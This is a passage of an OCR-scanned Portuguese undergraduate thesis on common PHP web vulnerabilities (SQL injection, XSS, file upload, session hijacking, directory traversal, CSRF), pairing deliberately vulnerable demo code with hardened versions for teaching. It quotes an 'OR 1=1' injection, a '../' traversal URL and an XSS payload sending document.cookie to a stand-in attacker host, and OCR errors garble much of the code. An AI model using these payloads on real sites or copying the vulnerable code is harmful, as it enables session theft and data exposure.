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RESUMO

A Internet é o principal meio de comunicagéo da atualidade, e vem facilitando
inameras tarefas cotidianas e profissionais. Dentre essas a gestédo de negécios,
comercializagdo de produtos e publicidades em geral. Porém, esta facilidade
pode gerar grandes complicagdes ,tanto para a empresa que faz uso, quanto
para os desenvolvedores que constroem estas aplicagbes web. Atualmente o
sistema de gestdo empresarial online tem se popularizado muito entre as
empresas, por sua mobilidade e facilidade de acesso a clientes e estatisticas.
Com informag0des t&o valiosas em jogo, a questdo de seguranca nunca deve
ser deixada de lado. A partir do crescente niumero de ataques a sites e
sistemas web, e do grande ndmero de sites que possuam algum tipo de brecha
para estes ataques, foi realizado um estudo das principais vulnerabilidades
web, explicando o que sdo, como agem e quais 0s riscos de se tornar vitima de
um eventual ataque, em seguida foram levantadas orientacbes de como se
prevenir destas brechas, através de programacdo, configuragdo de servidor,
entre outras. Evidenciando que tratar entradas de usuério é essencial para o
desenvolvimento de uma aplicacdo segura, além da conscientizagdo e

treinamento do desenvolvedor Web.

Palavras-chave: Vulnerabilidades web, Seguranca, Ataque Hacker.



ABSTRACT

The Internet is the main medium of communication today, and has facilitated
numerous professional and everyday tasks. Among these business
management, product marketing and advertising in general. However, this
facility can generate major complications, both for the company that makes use,
as for developers who build these web applications. Nowadays the online
business management has become very popular among companies, by their
mobility and ease of access to customers and statistics. With such valuable
information at stake, the issue of security should never be overlooked. From the
growing number of attacks on web sites and systems , and the large number of
sites that have some sort of loophole for these attacks , a study of the major
web vulnerabilities was conducted , explaining what they are, how they act and
what risks becoming a victim of any attack, then guidance on how to prevent
these gaps, through programming, server configuration, among others, were
raised. Showing that treat user input is essential for the development of a

secure application, beyond awareness and training Web Developer.

Keywords: Web Vulnerabilities, Security, Hacker Attack.
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1 INTRODUCAO

Sabe-se atualmente sobre as enormes transformacfes que a Internet vem
causando na comunicagao, no trabalho, no comércio e no entretenimento ao redor
do mundo. Ela vem crescendo exponencialmente tanto em quantidade de sites,
contabilizando 582.716.657 em janeiro de 2012 e 629.939.191 em janeiro de 2013
(NETCRAFT, 2013), como em quantidade de usuérios, passando de 2,1 bilhdes em
2011 para 2,4 bilhdes em 2012 (PINGDOM, 2012), e a tendéncia é aumentar cada
vez mais (PINGDOM, 2012) devido a sua popularizacéo, facilidade e comodidade.

Com o crescimento da Internet e suas facilidades, muitas aplicagbes que
antes eram apenas desktop passaram a ser desenvolvidas e utilizadas online,
crescendo muito sua popularizacdo (COVA, 2007). Uma série de fatores como
comodidade, rapidez, facilidade e portabilidade também contribuiram para um
crescente numero de organizagfes e individuos confiarem em aplicacdes baseadas
na Web, oferecendo assim, uma grande variedade de servigos. Atualmente,
aplicacdes Web séo rotineiramente utilizadas em ambientes vitais, como sistemas
meédicos, financeiro e militar (COVA,2007).

Ataques contra aplicagfes disponiveis na Internet representam uma grande
parte dos incidentes de seguranga ocorridos nos ultimos anos. O avango das
tecnologias voltadas para a web e a falta da devida preocupag¢éo com requisitos de
seguranca tornam a Internet um ambiente repleto de vulnerabilidades e alvo de
frequentes ataques (CERON, 2008).

Sistemas e aplicagbes Web sdo compostos por itens de infraestrutura, tais
como: servidor Web, bancos de dados e codigo fonte especifico — tanto client side,
como o HTML e JavaScript, como server side, englobando PHP, ASP, JSP, e
diversas outras linguagens. Enquanto os componentes de infraestrutura sé&o
normalmente desenvolvidos por técnicos experientes, com habilidades sélidas de
seguranga, o codigo fonte das aplicagbes, comumente é desenvolvido por
programadores com pouco treinamento em seguraga e sob estritas restricdes de
tempo (COVA, 2007). Como resultado, muitas aplicagbes vulneraveis s&o
implantadas e disponibilizadas por toda a Internet, criando pontos de entrada

facilmente exploraveis para o comprometimento de redes inteiras.



Segundo Netcraft (2013), dos 629.939.191 sites contabilizados em Janeiro de
2013, cerca de 244 milhdes utilizam a linguagem interpretada livre PHP, notou-se
também, que o principal servidor Web Apache ainda mantém uma maioria, contando
com 55,26% do mercado, portanto, segundo SIDDHARTH, grande parte destas
aplicagcbes ndo possui protecdo contra varias vulnerabilidades existentes. Estas
aplicagdes, por trafegarem informagbes e dados valiosos para a empresa ou O
usuério, ndo podem continuar vulneraveis aos possiveis ataques.

Outro ponto importante € o crescimento do nimero de desenvolvedores de
softwares no mundo (BLS, 2012). Isto significa que atualmente, muitas pessoas
sabem ou tém nogdes de programacéao e codificacio de aplicacdes. Com o aumento
do nimero de pessoas que possuem conhecimento sobre o desenvolvimento de um
site e quais sdo suas possiveis defesas, conseqientemente aumentou-se 0 himero
de ataques a sites vulneraveis.

Através destas informages, foram levantadas as principais vulnerabilidades
presentes em sites institucionais e aplicagbes Web, analisando-as através de
referencial teérico, identificando assim, do que se tratam e como funciona um ataque
de forma maliciosa, para entdo ser demonstradas possiveis formas de protecgéo,
correcdo e implementacdo de seguranca contra as mesmas, podendo ser atraves de
simples configuragbes do proprio servidor, ou de codigos de programagdo mais
complexos utilizando-se da linguagem interpretada livre PHP. Foram desenvolvidas
aplicagbes praticas para demonstrar como funciona um ataque através de uma
vulnerabilidade web, e quais as implementacfes de seguranca necessarias para
proteger-se, através de simulacdes de uma aplicacdo vulneravel sofrendo o ataque,

e outra aplicagédo protegida, repelindo o ataque.



1.1 OBJETIVOS

1.1.1 OBJETIVO GERAL

Apontar as principais vulnerabilidades em aplicagbes Web, e mostrar
implementacdes de seguranca para as mesmas, sejam por meio de codigo de
programacdo, utilizando-se da linguagem interpretada livre PHP, ou através de

configuracdes de servidor.

1.1.2 OBJETIVOS ESPECIFICOS

e Analisar através de referencial tedrico as principais vulnerabilidades
presentes em aplicagbes Web atuais.

e Desenvolver aplicagdo sem protecédo para determinada vulnerabilidade e
demonstrar funcionalidade de ataque contra a mesma.

e Desenvolver e demonstrar implementagbes de seguranga para cada
vulnerabilidade em questao.

e Apresentar resultados e discutir sobre as implementacgfes de seguranga
validadas, através de aplicagbes praticas, para cada vulnerabilidade

analisada.

1.2 JUSTIFICATIVA

Um atague pode trazer conseqiiéncias catastréficas para uma empresa com
gestdo online, ou mesmo sites institucionais, pois além de comprometerem a
seguranca e confidencialidade dos dados, podem também denegrir a imagem da
instituicdo, pois através de um acesso ao sistema administrativo de forma maliciosa,
pode-se alterar todo o conteddo do site, além de ter livre acesso as suas
informagbes confidenciais. A partir disto, foram analisadas as principais
vulnerabilidades presentes nas aplicagcbes Web, e em seguida desenvolvidos
aplicacBes préticas - utilizando a linguagem interpretada livre PHP - demonstrando o

risco de cada vulnerabilidade e as implementagcfes de seguranga necessarias para



proteger-se, e assim, incrementar seguranca e qualidade dos sites e sistemas

atuais.
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2 FUNDAMENTACAO TEORICA

2.1 SQL INJECTION

SQL Injection é um dos muitos mecanismos de ataque da Web utilizados por
hackers para roubar dados de organizacées. E talvez uma das técnicas de ataque
de camada de aplicacdo mais comuns usados hoje. E o tipo de ataque que tira
proveito de codificagdo indevida de suas aplicagbes Web que permite que hackers
possam injetar comandos SQL em um formulario de login, que lhes permitam ter
acesso aos dados armazenados no seu banco de dados. Em esséncia, SQL
Injection surgiu porque os campos disponiveis para a entrada do usuario permitiam
que instrucbes SQL possam consultar o banco de dados diretamente (ACUTENIX,
2013).

SQL Injection é uma abordagem muito antiga, mas ainda é popular entre os
atacantes. Esta técnica permite a um atacante obter informag6es cruciais de banco
de dados de um servidor Web. Dependendo das medidas de seguranca da
aplicacdo, o impacto deste ataque pode variar de divulgacdo de informacgdes
bésicas, para a execugdo remota de cddigo e comprometimento total do sistema
(SIDDHARTH, 2010).

2.1.1 COMO FUNCIONA

Em uma pégina de login simples, onde um usuario legitimo entraria com seu
nome de usudrio e senha, para entrar em uma area segura, e ver seus detalhes
pessoais ou enviar seus comentarios em um férum. Quando esse usuério envia seus
dados, uma consulta SQL é gerada a partir desses detalhes e submetida ao banco
de dados para verificagdo. Se valida, o usuario tem permiss@o de acesso. Em outras
palavras, a aplicacdo Web que controla a pagina de login ird se comunicar com o
banco de dados por meio de uma série de comandos planejados, de forma a
verificar a combinacdo do nome de usuéario e senha. Na verificagdo, ao usuério
legitimo € concedido o acesso apropriado (ACUTENIX, 2013).

Através de SQL Injection, o hacker pode dar entrada a especificos comandos

SQL, com a intengdo de contornar a barreira do formulario de login, e ver o que esta
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por tras dela. Isso so6 € possivel se as entradas ndo séo devidamente higienizadas, e
sdo enviadas diretamente com a consulta SQL para o banco de dados.
Vulnerabilidades de SQL Injection fornecem os meios para um hacker se comunicar
diretamente com o banco de dados (ACUTENIX, 2013).

Segundo Cova (2007), as aplicagdes Web tém uma vulnerabilidade de SQL
Injection, quando se usa dados ndo tratados para compor consultas que serao
passadas para um banco de dados relacional. “Isso pode levar a consultas
arbitrarias sendo executados no banco de dados com os privilégios da aplicacédo
vulneravel” (COVA, 2007).

factivate = 5_GET (" actiwvate ");

fresult = dbguery ("SELECT * FROM new_users WHERE user code= f factiwvate’™):

if { fresult ) {[...}

Figura 1 — Consulta a banco sujeita a SQL Injection.
Fonte: COVA, 2007

A funcdo DBQuery é usada para executar uma consulta a um banco de dados
relacional e retornar os resultados para a aplicacdo. Neste caso, a variavel $activate
esta definida para o contetdo do pardmetro de solicitagdo do mesmo nome. O uso
pretendido da varidvel é conter codigo pessoal do usuério para compor
dinamicamente o conteddo da pagina. No entanto, se um atacante envia uma query,
onde o parametro ‘activate’ € a string 'OR 1 = 1, a consulta ird retornar o contetdo
de toda a nova tabela de usuarios, pois na query sera verificada se uma das
expressdes sdo verdadeiras, o cédigo do usuario, ou 1=1, essa por sua vez sempre
serd verdadeira independente do codigo do usuério. Se o resultado da consulta é
usado mais tarde como o conteldo da pagina, esta ira expor informag¢des pessoais.
Outros ataques, tais como a supressao de tabelas de dados, ou a adicdo de um

novo utilizador, também séo possiveis (COVA, 2007).
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2.2 CROSS SITE SCRIPTING

Cross Site Scripting, mais conhecido como XSS, é um dos ataques mais
comuns em aplicacdes Web. XSS normalmente utiliza scripts embutidos em uma
pagina que séo executados no client-side (navegador do usuério), em vez de serem
executados no servidor. XSS em si € uma ameaca provocada pelas falhas de
seguranca nos scripts executados do lado do cliente, como HTML e JavaScript, que
sdo os principais culpados. O conceito de XSS & manipular os scripts do lado do
cliente de uma aplicacdo Web para executar da maneira desejada pelo usuério mal-
intencionado. Tal manipulagdo pode inserir um script em uma péagina, que pode ser
executado toda vez que a pagina € carregada, ou sempre que um evento associado
€ executado (ACUTENIX, 2013).

Segundo Spett (2005), Cross Site Scripting ocorre quando paginas da Web
gue séo geradas dinamicamente ndo sao devidamente validadas. Isto permite que
um invasor inclua cédigos JavaScript maliciosos na pagina gerada, e execute o
script na maquina de qualquer usuario que vé esse site. Cross Site Scripting pode

afetar qualquer site que permite aos usuarios inserir dados.

“Um invasor que utliza um script cross-site com sucesso, pode
comprometer informacdes confidenciais, manipular ou roubar cookies, criar
solicitacdes que podem ser confundidas com as de um usudrio valido, ou

executar um cédigo malicioso na maquina dos usuarios finais (SPETT,2005).”

Porém, segundo Siddharth (2010), o sucesso deste ataque exige que a vitima
execute uma URL maliciosa, que pode ser trabalhada de forma a parecer legitima no
primeiro olhar. Ao visitar tal URL trabalhada, um atacante pode efetivamente
executar algo malicioso no navegador da vitima. Alguns JavaScript maliciosos, por

exemplo, serdo executados no contexto do site, que possui a vulnerabilidade XSS.
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2.2.1 COMO FUNCIONA

Teoricamente € impossivel obter-se informag¢des de uma pagina através de
um script contido em outra pagina de um host diferente. A "arte" do XSS é
justamente encontrar uma brecha que permita contornar os mecanismos de
seguranca implementados pelos navegadores. Como, por exemplo, encontrar
formas inteligentes de injetar um codigo mal-intencionado na péagina visitada pela
vitima. Segundo Bodmer (2007), isto é possivel das seguintes formas:

-Injetando através de entradas de formulario HTML.

-Injecédo de URL (URL enviados por e-mail ou mensagem instantdnea para a
vitima, ou postados em sites publicos).

-Injecéo através de outras entradas (e-mail, sms, etc).

A Figura 2 evidencia um exemplo do funcionamento de um ataque XSS
através de injecdo de URL (BODMER, 2007). Neste caso, o site exibe uma
saudacao personalizada, "Ola Blake." (este mesmo problema também pode ocorrer,
por exemplo, quando um usuério digita uma string de pesquisa para encontrar um
produto, ou outro contetdo no site.) Depois de ver o conteldo personalizado, o
atacante decide testar a seguranca do site, adicionando um script no URL, para

determinar se o site ird executa-lo.

http:/fwww.serverl.com/hello.asp?name=Blake

Hello, <% =Request.QueryString("name™)%%>

nttp:/fwww. hackerserver.com/gather.asp

The Bad URL T

htt'g_:uwww.a.com;hello.asp?name=
<FORM action=http: //www.hackerserver.com/gather.asp
method=post id="ldForm"=>
<INPUT name="cookie” type="hidden" >
</FORM=>
<SCRIPT=
idForm.cookie. value=document.cookie; idForm.subrmit] );
</SCRIPT=>

Figura 2 — EXEMPLO DE FUNCIONAMENTO XSS
Fonte: Microsoftw Developer Network, How Cross Site Scripting Attacks Work, 2005
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No exemplo relatado na Figura 2, o script € executado, e, agora, todos 0s
usuarios serao redirecionados para o] site do atacante,
“www.hackerserver.com/gather.asp”. Quando 0s usuarios acessam o site do

atacante, o mesmo pode reunir seus dados de perfil (MICROSOFT, 2005).

2.3 FILE UPLOAD ATTACK

Segundo Calin (2009) permitir que um usuario faca upload de arquivos em
seu site, € como abrir mais uma porta para um usuério mal intencionado
comprometer o servidor. Mesmo assim, em aplicacbes Web modernas, € um
requisito comum, pois ajuda a aumentar a eficiéncia do seu negécio. Upload de
arquivos sdo permitidos em aplicagbes Web de rede sociais, como Facebook e
Twitter. Eles também s&o permitidos em blogs, féruns, sites de e-banking, YouTube,
e também em portais de suporte corporativo. Usuarios tém permissdo para fazer
upload de imagens, videos, avatares e muitos outros tipos de arquivos.

Dalili (2011) explica que estes arquivos enviados representam um risco
significativo para aplicacdes. O primeiro passo em muitos ataques é enviar um
codigo para o sistema a ser atacado. Em seguida, o atacante sé precisa encontrar
uma maneira de executar o codigo no servidor.

As consequéncias de se permitir o envio de arquivos irrestritamente podem
variar, incluindo aquisicdo completa do sistema, sistema de arquivos
sobrecarregado, encaminhamento dos ataques aos sistemas de back-end ou
apenas simples alterages nas configuracdes. Depende muito do que a aplicagéo

faz com o arquivo enviado, e principalmente onde ele é armazenado.

2.3.1 COMO FUNCIONA

Segundo Calin (2009), um simples upload de arquivo geralmente consiste de
um formulario HTML e um script PHP, ou outra linguagem Web. O formulario HTML,
é a forma apresentada ao usuario, enquanto o script PHP contém o codigo que
cuida do upload do arquivo.

Tendo como exemplo o formulario HTML, Figura 3.
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<form enctype="multipart/form-data™ acticn="uplcader.php" method="PB2J5T">
<input type="hidden"™ name="MRX FILE SIZE" walue="100000"/>
Armquivo: <input type = "file™ name = "UploadedFile™/> <br />
<input type="submit" wvalue="Uplcad File"™ />

</ form>

Figura 3 — Formulario HTML.
Fonte: CALIN, 2009.

Na Figura 4, o seguinte back-end em PHP.

<?php
ftarget_path = Tuploads/"™;
ftarget_path = &target path . basgename(% FILES({'uploadedfile') ({'name")}):

if (move_uploaded file (§_FILES('uploadedfile') {"tmp name'),$target_path)) {
echo "0 arquiwvoe ™ . basename (% FILES ('uplcoadedfile") ('name")) . ™
foi enviado™;
} else |
echo "Houve um erro! Tente novamente™;

i

-4

Figura 4 — Back-end PHP.
Fonte: CALIN, 2009.

Quando o PHP recebe uma solicitagdo POST com a codificagdo tipo
“multipart/form-data”, ele ir& criar um arquivo temporario de nome aleatério em um
diretério temporario (Ex. “/vartmp/php6yX0OVs”). O PHP também ira preencher o
array global $ FILES com as demais informac¢des sobre o arquivo enviado, como
nome, tipo mime, tamanho em bytes e seu nome temporario.

A funcdo PHP “move_uploaded_file” ird mover o arquivo temporario para um
local fornecido pelo desenvolvedor. Nesse caso, o destino é abaixo da raiz do
servidor. Portanto, os arquivos podem ser acessados utilizando uma URL como:
http://www.domain.tld/uploads/uploadedfile.ext. Neste exemplo simples, ndo hé&
restrices sobre o tipo de arquivos permitidos para upload, e, portanto, um atacante
pode enviar um arquivo de extensdo PHP ou .NET, com cdédigo malicioso que

podera comprometer o servidor.
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2.4 SESSION HIJACKING

Segundo Owsap (2011), Session Hijacking (Sequestro de Sessé&o) consiste
na exploracdo do mecanismo de controle da sessdo web, que normalmente é
gerada por um token. Como a comunicagdo HTTP usa muitas conexdes TCP
diferentes, o servidor Web precisa de um método para reconhecer as conexdes de
cada usuério. O método mais util & através de um sinal que o servidor Web envia ao
navegador do cliente apdés uma autenticacdo bem-sucedida, um token. Um token de
sessdo é normalmente composto por uma string de largura variavel, e pode ser
utilizado de diferentes maneiras, como no URL, no cabecalho da requisicdo HTTP
na forma de um cookie, em outras partes do cabegalho do pedido HTTP, ou ainda
no corpo da requisicdo HTTP. O ataque de Session Hijacking compromete o token
da sess&o roubando-o ou gerando um token vélido através de adivinhacdo para
ganhar acesso nao autorizado ao servidor web.

Segundo ISS (1999), o sequestro de uma sessdo TCP (Session Hijacking) é
quando um hacker assume uma sessdo TCP entre duas maquinas. Como a maioria
das autenticacdes apenas ocorre no inicio de uma sesséo de TCP, isso permite que

0 hacker garanta acesso a uma maquina.

2.4.1 COMO FUNCIONA

Segundo Owsap (2011), como pode ser visualizado na Figura 5, na primeira
vez o atacante utiliza uma ferramenta chamada Sniffer para capturar uma sesséo de
token véalida chamada "Session ID", ele entao usa o token valido para ganhar acesso
nao autorizado ao servidor Web através de modificadores de cookie, que podem ser

facilmente obtidos na forma de extensdes para os atuais navegadores Web.
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Figura 5 - Manipulando a sessao simbdlica para executar o ataque de Session Hijacking
Fonte: OWSAP, 2011.

2.5 DIRECTORY TRAVERSAL

Segundo Acutenix (2013), Directory Traversal € um exploit HTTP que permite
aos crackers acessar diretérios restritos, e executar comandos fora do diretorio raiz
do servidor Web. Os servidores Web fornecem dois niveis principais de mecanismos
de segurancga:

e Access Control Lists (ACLS)

« Diret6rio root (raiz)

O ACL ¢ utilizado no processo de autorizacdo. E uma lista que o
administrador do servidor utiliza para indicar quais usuarios ou grupos sao capazes
de acessar, modificar ou executar determinados arquivos no servidor, bem como
outros direitos de acesso. Ja o root (raiz) € um diretério especifico no sistema de
arquivos do servidor, no qual os usuéarios estdo confinados. Os usuérios ndo sao

capazes de acessar qualquer coisa acima dessa raiz.
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2.5.1 COMO FUNCIONA

Segundo Owsap (2009), ao navegar no aplicativo, o atacante procura por
links absolutos de arquivos armazenados no servidor. Manipulando variaveis que
referenciam arquivos com "ponto-ponto-barra (../)", sequéncias e suas variagoes, é
possivel acessar arquivos arbitrarios, como o codigo fonte da aplicacéo,
configuragcbes do servidor, e arquivos criticos do sistema operacional. O atacante
usa sequéncias de "../' para mover-se para o diretério raiz, permitindo assim a
navegacao pelo sistema de arquivos.

Utilizando-se do exemplo dado por Acutenix (2013), que diz que em
aplicagbes Web com paginas dindmicas, a entrada é geralmente recebida pelos
navegadores através de solicitagdbes GET ou POST, como por exemplo na URL
http://test.webarticles.com/show.php?view=oldarchive.html. Com esta URL, o
navegador solicita a pagina dindmica “show.php” no servidor, e com ela também
envia o parametro "view" com o valor de "oldarchive.html". Quando este pedido é
executado no servidor Web, “show.php” recupera o arquivo “oldarchive.html” do
sistema de arquivos, renderiza-o, e em seguida envia-o de volta para o navegador
que o exibe ao usuério. O atacante ird supor que “show.php” pode recuperar
arquivos do sistema, e envia entdo uma URL
http://test.webarticles.com/show.asp?view=../../../../../Windows/system.ini.

Isso fard com que a pagina dindmica recupere o arquivo “system.ini” do
sistema, e exiba-o ao usuério. A expressao “../” instrui o sistema a subir um diretério
acima. O atacante portanto terd que adivinhar quantos diretorios ele deve subir até

encontrar a pasta do Windows, mas isso é facilmente feito por tentativa e erro.
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2.6 CROSS SITE REQUEST FORGERY

Segundo Kéfer (2008), Cross Site Request Forgery (CSRF) é uma técnica
que permite que o atacante engane o usuario para realizar uma ac¢édo, usando sua
autoridade e credencial. Ou seja, segundo Owsap (2013), CSRF é um ataque que
engana a vitima para o carregamento de uma pagina que contém um pedido
malicioso. E mal-intencionado no sentido de que ele herda a identidade, e os
privilégios da vitima para executar uma fungdo indesejada em nome da vitima, como
a mudanca de endereco de e-mail, endereco residencial, senha, ou até mesmo
comprar algo. CSRF ataca geralmente fungbes que provocam uma alteracédo de
estado no servidor, mas também pode ser usado para obter dados confidenciais.

Para a maioria dos sites, os navegadores irdo incluir automaticamente com
essas solicitagdes quaisquer credenciais associadas ao site, como o cookie da
sessdo, as credenciais de autenticagcdo basica, o enderego IP, as credenciais de
dominio do Windows, etc. Portanto, se 0 usudrio ja esta autenticado no site, o site
ndo tera nenhuma maneira de distinguir isso de uma solicitagéo legitima.

Zeller (2008) relata que os ataques ocorrem quando um site malicioso faz
com que o navegador Web do usuério execute uma acdo indesejada em um site
confivel. Estes ataques tém sido chamado de "gigante adormecido" das
vulnerabilidades Web, porque muitos sites na Internet ndo protegem contra eles, e
porque eles tém sido largamente ignorados pelos desenvolvedores Web e
comunidades de seguranga.

Os atagues CSRF néo aparecem na Web Security Threat Classification
(Classificacdo das ameagas a seguranca Web), e raramente s&o discutidos em

literaturas académicas ou técnicas.

2.6.1 COMO FUNCIONA

Segundo Owsap (2013), existem inumeras maneiras de um usuario final ser
enganado para carregar, ou enviar informagbes em uma aplicacdo web. Para
executar um ataque, devemos primeiro entender como gerar um pedido malicioso

para a vitima executar.
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Portanto vamos considerar um exemplo hipotético de um site vulneravel & um
ataque de CSRF. Zeller (2008) nos mostra o exemplo de um site de servi¢os de e-
mail que permite aos usuarios enviar e receber emails. O site usa autenticacao
simples para autenticar seus USUArios. Uma pagina,
http://example.com/compose.html, contém um formulario HTML, que permite que o
usuério insira o endereco de e-mail do destinatario, o assunto, e a mensagem, bem

como um bot&o que diz "Enviar email”.

<form acticn = "http://example.com/send email.html™ methoed = "GET™>
Enderego de email do destinataric: <input type="text™ name="para">
Essunto: <input type="text"™ name="assuntc">
Mensagem: <textarea name="m3ag"> </ textarea>

<input type="submit"™ wvalue="Enviar email™>

</ form:>

Figura 6 — Formulario HTML para envio de e-mails.
Fonte: ZELLER, 2008.

Quando um usuario de “example.com” clica em "Enviar email", os dados
inseridos serdo enviados para http://example.com/send_email.html como um pedido
GET. Uma vez que uma requisicdo GET simplesmente acrescenta os dados do
formulario para a URL, o usuério seré redirecionado para a seguinte URL (supondo
que ele entrou "bob@example.com" como destinatario, "Ol&" como assunto, e "Qual
€ a proposta?”, como a mensagem):

http://example.com/send_email.htmI?para=bob%40example.com&assunto=0I
%C3%A1&msg=Qual%20%C3%A9%20a%20sita%C3%A7%C3%A30%20da%20pro
posta%3F.

A péagina “send_email.html “levaria os dados recebidos e enviaria um e-mail
para o destinatario do usuério. Note que “send_email.html” simplesmente pega os
dados, e realiza uma acdo com esses dados. N&o importa onde originou-se a
solicitagdo, s6 que o pedido foi feito. Isto significa que se o utilizador introduzir
manualmente a URL em seu navegador, example.com ainda mandaria o e-mail.

Segundo Zeller (2008), um ataque CSRF € possivel aqui porque
“send_email.html” leva todos os dados que recebe e envia um e-mail. Ele néo
verifica se os dados foram originados a partir do formulério “compose.html”, portanto,
se um atacante pode fazer com que o usuério envie uma solicitagdo para

“send_email.html”, esta pagina fard com que “example.com” envie um e-mail em
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nome do utilizador, contendo os dados de escolha do invasor, assim o atacante ira

ter realizado com sucesso um ataque CSRF.
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3 METODOLOGIA

ApoOs pesquisa bibliografica sobre diversas vulnerabilidades que estdo
presentes em aplicacdes web atuais, notou-se que este é de fato um problema sério
e necessita da preparacdo e conscientizacdo dos desenvolvedores sobre 0 assunto,
afinal seguranca € fundamental. Com base nesta pesquisa e com o fim de validar
tais vulnerabilidades e entdo demonstrar formas de eliminé-las, e proteger assim sua
aplicacdo, foram desenvolvidas aplicacdes praticas para testes e validagfes. Para
isto, foi configurado um servidor local, utilizando-se da distribuicdo gratuita do
software livre XAMPP (XAMPP, 2013), no sistema operacional Windows 7 Ultimate.

Apos instalacdo e configuracdo do servidor Web, foram desenvolvidas duas
aplicagbes na forma de sistema simples, como formuléarios de login e acessos a
bases de dados em especifico para cada vulnerabilidade citada. A primeira
aplicacdo chamaremos de Aplicacdo A, uma aplicacdo totalmente vulneravel a
determinada vulnerabilidade, a segunda, Aplicagdo B, uma aplicacdo de mesmo
estrutura da Aplicacdo A, porém com as implementagéo de seguranga testadas para
a vulnerabilidade em questéo.

Por fim, foi executado uma sequéncia de ataques nas duas aplicacdes
(Aplicacao A e Aplicagédo B) com o objetivo de demonstrar a funcionalidade e danos
de cada vulnerabilidade quando n&o tratadas (Aplicagdo A), e a ineficiéncia dos
ataques quando tratadas (Aplicagdo B). A seguir descricdo de cada aplicacdo em

determinada vulnerabilidade.
3.1 SQL INJECTION
Foram testadas duas aplicacbes contendo o mesmo formulario de login

basico em HTML (login.php), com os campos ‘usuario’ e ‘senha’, inseridos em um

Form com Method ‘post’, onde sera feita uma consulta MySQL para autenticacéo.



3.1.1 APLICACAO A
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Aplicacdo A utiliza a biblioteca de conexdo MySQL para PHP, e néo realiza

nenhum tratamento para os dados inseridos pelo usuario, 0s mesmo sao atribuidos

diretamente a query executada no banco, conforme Figura 7.

J/conexdo ao banco de dados mysgl

§con = mysgl connect('localhost','root',''):

J//selecionar base

fdb = mysgl select db('tecc'):

J/montar guery myagl

Squery = "SELECT * FROM nsnario WHERE nsnario
='".% POST['usuario']."' AND senha = md5('".§ POST['semha']."")
LIMIT 1":

J/comitar, exXecutar guery

Fresult = mysgl gquery($guery) or die(mysgl error()j):

f/azeleciona usuario

Zusuario = mysq;_fetch_array(EIesu;t];

Figura 7 — Cédigo utilizado para Aplicagcéo A.
Fonte: Autor.

3.1.2 APLICACAO B

Aplicagdo B utiliza a biblioteca de manipulacdo de dados PDO (PHP Data

bY

Object) orientada a objeto, com tratamento e escape dos dados inseridos pelo

usuario, enviando para o banco de dados uma query MySQL valida e tratada, como

demonstrado na Figura 8.



/fcria cbjedo de conexdao FDO

jpdo= new PDO('mysdgl:dbname=tcc;host=localhost, 'root',"'):

JJ/auery 50L com pardmetros preparados :usuario :3enha
Zztmt = Spdo->»prepare ("SELECT * FROM usuario
WHEEE usuario =:nsunario

AND zenha = md5(:senha) LIMIT 1");

//prepared statments, escape e validagdo de strings
Sparams = array|(
'msomario’ => § POST['usuario'],

'senha' => § POST['semha'] }:

/ferecugdo da gquery

Sztmt-rexecute (Sparams) ;

J/=zeleciona usuario

Fusuario = Fstmt->fetch (PDO::FETCH _AS50C)

Figura 8 — Cédigo utilizado na Aplicacédo B.
Fonte: Autor.

3.2 CROSS SITE-SCRIPTING (XSS)

Teste em duas aplicagcbes contendo uma pagina PHP que recebia via
protocolo HTTP-GET uma variavel denominada ‘pesquisa’, Figura 10, em seguida

exibe-se uma mensagem com o termo pesquisado e o resultado da busca. Esta
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pagina contem também a simulacdo de uma sessdo de autenticagdo, apenas uma

sessdo com dados ficticios para simular uma &rea restrita que necessita

autenticacdo através de login, no inicio da pagina encontra-se o coédigo PHP

responsavel por criar uma sessao, Figura 9.

sessfon_start();
% SESSION[uswaro logado’] = amay();

Figura 9 — Simulacao de sessao logada.
Fonte: Autor.

Este cddigo, Figura 9, cria automaticamente um ID de sessdo para aquela

maquina, naquele servidor, autenticando este determinado usudrio ficticio.



Demonsiracao XSS

Pesgquisar por nome, codigo ou parte do contendo:

Pesquisar

Figura 10 — Formulario de busca HTML com Form utilizando HTTP-GET.
Fonte: Autor
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Por ser um formulario com Method GET o parémetro enviado é exibido na

URL, resultando no endereco: http://localhost/tcc/xss.php?termo=William+Castro.

3.2.1 APLICACAO A

A Aplicagdo A recebe a variavel ‘termo’ e a exibe sem qualquer tratamento ou

validagédo, como evidencia a Figura 11.

< ?php

if (igzetc (5 _GET['‘termo’])){

Stermo = § GET['termo’]:

’{*k

/# Pesguisa em banco com o termq
I

Fo®f

echo "Resultado de pesqguisa para "".Stermo."':

J##% Imprime oz resultados de pesguisa *=*/
P

7>

<?php }7>

<br/>";

Figura 11 — Utilizagcdo de parametro Get sem tratamento.
Fonte: Autor.
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3.2.2 APLICACAOB

A Aplicagéo B recebe a variavel ‘termo’, Figura 12, e entdo utiliza as funcdes
PHP: strip_tags, responsavel por remover toda e qualquer tag HTML, principalmente
a tag <SCRIPT>, responsavel pela injecdo de XSS; e htmlentities, funcdo que
converte e retorna todos os caracteres especiais de uma string em uma sentenga
HTML valida, visando bloquear injecées XSS (PHP, 1999).

<?php if (isset (% _GET[‘nome’])){

§termo = § GET['termo']:

J/remove tags HTML como <3cript>
ftermo = strip tags(ftermoj);
//converte caracteres especiais

Stermo = htmlentities(ftermo);

;"**

/#* Peaguiza em banco com o termo
e

[

f**=f

gcho "Resultado de pesquiza para "".Stermo."': <hr/>":

J#% Imprime os resultados de pesguisa *+%/
LA
Eh

<?php }7?>»

Figura 12 — Cddigo utilizado na Aplicagdo B para XSS.
Fonte: Autor.
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3.3 FILE UPLOAD ATTACK

Para testar esta vulnerabilidade, foram desenvolvidas duas aplicacdes de
cadastro de curriculo online, contendo um formulario HTML, com Method POST e
atributo enctype="multipart/form-data”. Este formuléario submete o curriculo a uma
pagina PHP responséavel por salvar o mesmo no diretério

I:\xampp\htdocs\tcc\curriculos .

3.3.1 APLICACAO A

A aplicagdo A, Figura 13, recebe o curriculo enviado, e transfere-o para a
pasta de curriculos sem nenhum tratamento ou verificagdo de tipo. Foi utilizada a

funcdo PHP move_uploaded_file para salvar o arquivo no servidor.

<?php

Sdiretorio = "curriculos/":

//recebe curriculo wia POST

fourriculo = § FILES['curriculo']:
J/move curriculo para diretorio
if (move uploaded file($curriculo['tmp name'], %$diretorio
. Scurriculo['name']}))
echo "Curriculo enviado com =2uceszo.";
} elae {

echo "Ocorreu um erro, tente novamente.":

P>

Figura 13 — Cadigo utilizado na Aplicagdo A para file upload attack.
Fonte: Autor.

3.3.2 APLICACAO B

Aplicagdo B, possui diversas formas de protecdo e validagdo dos arquivos
enviados, com o0 objetivo de aceitar, salvar e listar apenas arquivos do tipo

